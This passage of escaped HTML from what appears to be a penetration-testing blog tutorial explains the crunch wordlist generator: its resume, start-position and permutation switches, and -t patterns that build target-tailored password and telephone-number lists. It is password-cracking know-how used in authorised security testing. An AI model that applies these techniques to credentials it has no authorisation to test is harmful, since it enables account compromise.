href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_u1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="163" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_u1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So to ensure the output is as expected, the -p switch &lt;u&gt;MUST&lt;/u&gt; always be the last option, and the correct syntax&lt;br /&gt;with the above example would be ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 1 1 -u -p abcd&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_u2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_u2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using the &lt;b style="color: red;"&gt;-q&lt;/b&gt; switch, you can create all possible permutations of words in a text file ;&lt;br /&gt;(as always, beware of the possible size ! This best done on a 'focussed' wordlist)&lt;br /&gt;&lt;br /&gt;As an example, create a small text file with 3 lines and then run crunch over it with the -q option;&lt;br /&gt;&lt;div style="color: lime;"&gt;echo  "bird" &amp;gt; test.txt &amp;amp;&amp;amp; echo "cat" &amp;gt;&amp;gt;  test.txt &amp;amp;&amp;amp; echo "dog" &amp;gt;&amp;gt; test.txt&lt;/div&gt;&lt;div style="color: lime;"&gt;./crunch 1 1 -q test.txt&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_q.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_q.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u style="color: yellow;"&gt;&lt;b&gt;RESUMING WORDLIST CREATION AFTER CANCELLATION&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;crunch allows a wordlist creation to be stopped and restarted, to do this we use the &lt;b style="color: red;"&gt;-r&lt;/b&gt; (resume) switch.&lt;br /&gt;For this to work we must type the exact same line followed with the -r switch ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789 -o test.txt&lt;/div&gt;Stop the creation with a Ctrl C, then restart with ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789 -o test.txt -r&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_r.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_r.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If the wordlist was started from a specific position (see below chapter) then&lt;br /&gt;when resuming the -s switch as well as input must be removed ;&lt;br /&gt;&lt;br /&gt;When using this method, the notification on %% complete will not be accurate. &lt;br /&gt;Also, when resuming, crunch will advise that it is generating xx amount of data and xx number of lines.&lt;br /&gt;This information will not be correct as the calculation process thinks it is resuming from a creation of an entire wordlist, whereas it is of course resuming from a wordlist with a certain startblock. &lt;br /&gt;The below picture probably explains it better.. &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789 -s 59999999 -o test.txt&lt;/div&gt;After cancelling with a Ctrl C, resume would then be done with ;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 8 8 0123456789 -o test.txt -r&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_r_s.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_r_s.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;u&gt;STARTING FROM A SPECIFIC POSITION&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;If we want to start crunch from a specific position in the wordlist we want to create, we can use the &lt;b&gt;&lt;span style="color: red;"&gt;-s&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;switch to use a specific startblock as starting position for the wordlist.&lt;br /&gt;&lt;br /&gt;For instance, if you started creating a wordlist, but had to cancel and resume on a different disk or HDD space ran out.&lt;br /&gt;The temporary file that crunch uses for the wordlist creation is "&lt;span style="color: yellow;"&gt;START&lt;/span&gt;" located in the crunch directory&lt;br /&gt;&lt;div style="color: yellow;"&gt;/pentest/passwords/crunch/&lt;/div&gt;&lt;br /&gt;You can check this temporary file for the last couple of entries to allow you to move/rename the temp file START&lt;br /&gt;and restart the wordlist creation without losing the work already done. &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;i&gt;example ;&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 7 7 0123456789 -o test.txt&lt;/div&gt;&amp;gt; Ctrl + C stopping the wordlist creation,&lt;br /&gt;&amp;gt; check the last couple of entries in the START temporary file ;&lt;br /&gt;&lt;div style="color: lime;"&gt;tail -n 2 START&lt;/div&gt;&amp;gt; copy or rename the temporary file to a name of your liking; &lt;br /&gt;&lt;div style="color: lime;"&gt;cp START file1.txt&lt;/div&gt;&amp;gt; restart the wordlist creation from the last noted entry in the temporary file;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 7 7 0123456789 -s 9670549 -o test.txt&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_s_cancel.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_s_cancel.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;NOTE!&lt;/span&gt;&lt;/b&gt; crunch will overwrite START when it starts a new wordlist creation process, so be sure to rename START into whatever you want to ensure you don't lose the work already done !&lt;br /&gt;&lt;br /&gt;Of course using the starting block can be used for whatever reason, for instance if you are sure that you don't need any list with numbers starting before 59999999 ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789 -s 59999999 -o test.txt&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_s_norm.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_s_norm.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;u&gt;CREATING CUSTOM PATTERNS&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;This is where crunch really shines, and in my humble opinion, the most powerful capability that crunch has to offer.&lt;br /&gt;&lt;br /&gt;With a minimum amount of information on known or expected patterns and/or possible characters in the passphrase, custom patterns can be created allowing to specify what to place where in the created passhprases.&lt;br /&gt;In doing so the size of the wordlist can be reduced significantly and the wordlist can be tailored to the target in a much more efficient way, which is always to be endeavoured !&lt;br /&gt;&lt;br /&gt;To fix a pattern, we use the &lt;b style="color: red;"&gt;-t&lt;/b&gt; switch in crunch.&lt;br /&gt;&lt;br /&gt;There are fixed symbols used for certain character sets ; &lt;br /&gt;&lt;span style="color: yellow;"&gt;@&lt;/span&gt; --&amp;gt; Lower case alpha values (or @ will read and print from a specified character set, see further down in post)&lt;br /&gt;&lt;span style="color: yellow;"&gt;,&lt;/span&gt;&amp;nbsp; --&amp;gt; Upper case alpha values &lt;br /&gt;&lt;span style="color: yellow;"&gt;%&lt;/span&gt; --&amp;gt; Numeric values&lt;br /&gt;&lt;span style="color: yellow;"&gt;^&lt;/span&gt; --&amp;gt; Special characters including 'space'&lt;br /&gt;&lt;br /&gt;So if we want to create a 6 character, lower alpha wordlist and with a pre-fix of 'dog';&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -t dog@@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;or if we want 'dog' to be appended ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -t @@@dog&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or have 'dog' bang in the middle ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 7 7 -t @@dog@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_03.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or 'dog' followed by an upper case alpha, number and symbol;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -t dog,%^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Miscellaneous patterns&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;We can also combine the various fixed character sets, for instance, if we want to create an 8 character&lt;br /&gt;wordlist with alpha, numeric and special characters in fixed positions;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -t ,,^^@@%%&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_05.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using the fixed character sets you can quickly and easily make 'quick' wordlists for a single character set..&lt;br /&gt;&lt;br /&gt;Creating a wordlist with only lower case;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -t @@@@&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_06.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;only numeric;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -t %%%%&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_07.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_07.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or only uppercase;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -t ,,,,&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_08.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_08.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;only special characters;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -t ^^^^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_09.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_09.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And of course if certain positions and characters are known, it can all be mixed up ;&lt;br /&gt;&amp;nbsp;&lt;span style="color: lime;"&gt;./crunch 9 9 -t %%DOG^^@@&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_10.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_10.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We can also even go a step further and specify which range of characters should be used for each character type.&lt;br /&gt;&lt;u&gt;In the below example ;&lt;/u&gt;&lt;br /&gt;lower alpha values to only be ;&amp;nbsp; &lt;b style="color: yellow;"&gt;abcdef&lt;/b&gt;&lt;br /&gt;upper alpha values to only be ;&amp;nbsp; &lt;b style="color: yellow;"&gt;ABCDEF&lt;/b&gt;&lt;br /&gt;numeric values to only be&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;&amp;nbsp; &lt;b style="color: yellow;"&gt;12345&lt;/b&gt;&lt;br /&gt;special characters to only be&amp;nbsp; ;&amp;nbsp; &lt;b style="color: yellow;"&gt;@#$%&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We can then specify same by entering these values manually in the command line ;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;i&gt;Note that it is required to enter the custom values in the order ;&lt;/i&gt;&lt;/div&gt;lower alpha -- upper alpha -- numeric -- special characters&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 abcdef ABCDEF 12345 @#$%- -t @@,,%%^^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If there is no specific character range to be used for the character set, then that position should be&lt;br /&gt;completed with a '+' placeholder sign which signifies the usage of the complete standard character set for that set positon. (lower alpha -- upper alpha -- numeric -- special characters)&lt;br /&gt;&lt;br /&gt;The below example is using &lt;span style="color: yellow;"&gt;'abcdef' as lower alpha charset&lt;/span&gt;, the &lt;span style="color: yellow;"&gt;full upper case charset&lt;/span&gt;, &lt;span style="color: yellow;"&gt;'12345'as numeric charset&lt;/span&gt; and the &lt;span style="color: yellow;"&gt;full special character charset&lt;/span&gt;.&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 abcdef + 12345 + -t @@,,%%^^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Although in the above examples @ is used as fixed character set for lower case values, we can also use it to specify a manually chosen single set of all types of characters ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 123abcDEF -t TEST@@@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms3.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 10 10 123abc+-= -t @@@test@@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms4.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remember that certain characters on some occasion require escaping, if in doubt, better to just do it.&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 10 10 123abcDEF\!\@\# -t TESTING@@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms5.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms5.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want to include a space in the charset, then enclose the charset in quotes ;&lt;br /&gt;(space at end of charset below) &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch "123abcDEF " -t TEST@@@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms6.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_ms6.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Creating telephone lists&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;You can also use the -t switch to easily make lists of telephone numbers, so if for instance the telephone number&lt;br /&gt;is  usually noted as for instance;&amp;nbsp; 0131-321654, then you could easily  create a wordlist of telephone numbers following that same example ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch&amp;nbsp; 11 11 -t 0131-%%%%%%&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_tel1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_tel1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or  if the layout is different, for instance including a space such as  "(01201) 111111" this is achieved by putting quotes on the -t pattern as  follows (this to ensure that the space is included);&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 14 14 -t "(01201) %%%%%%"&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_tel2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_t_tel2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 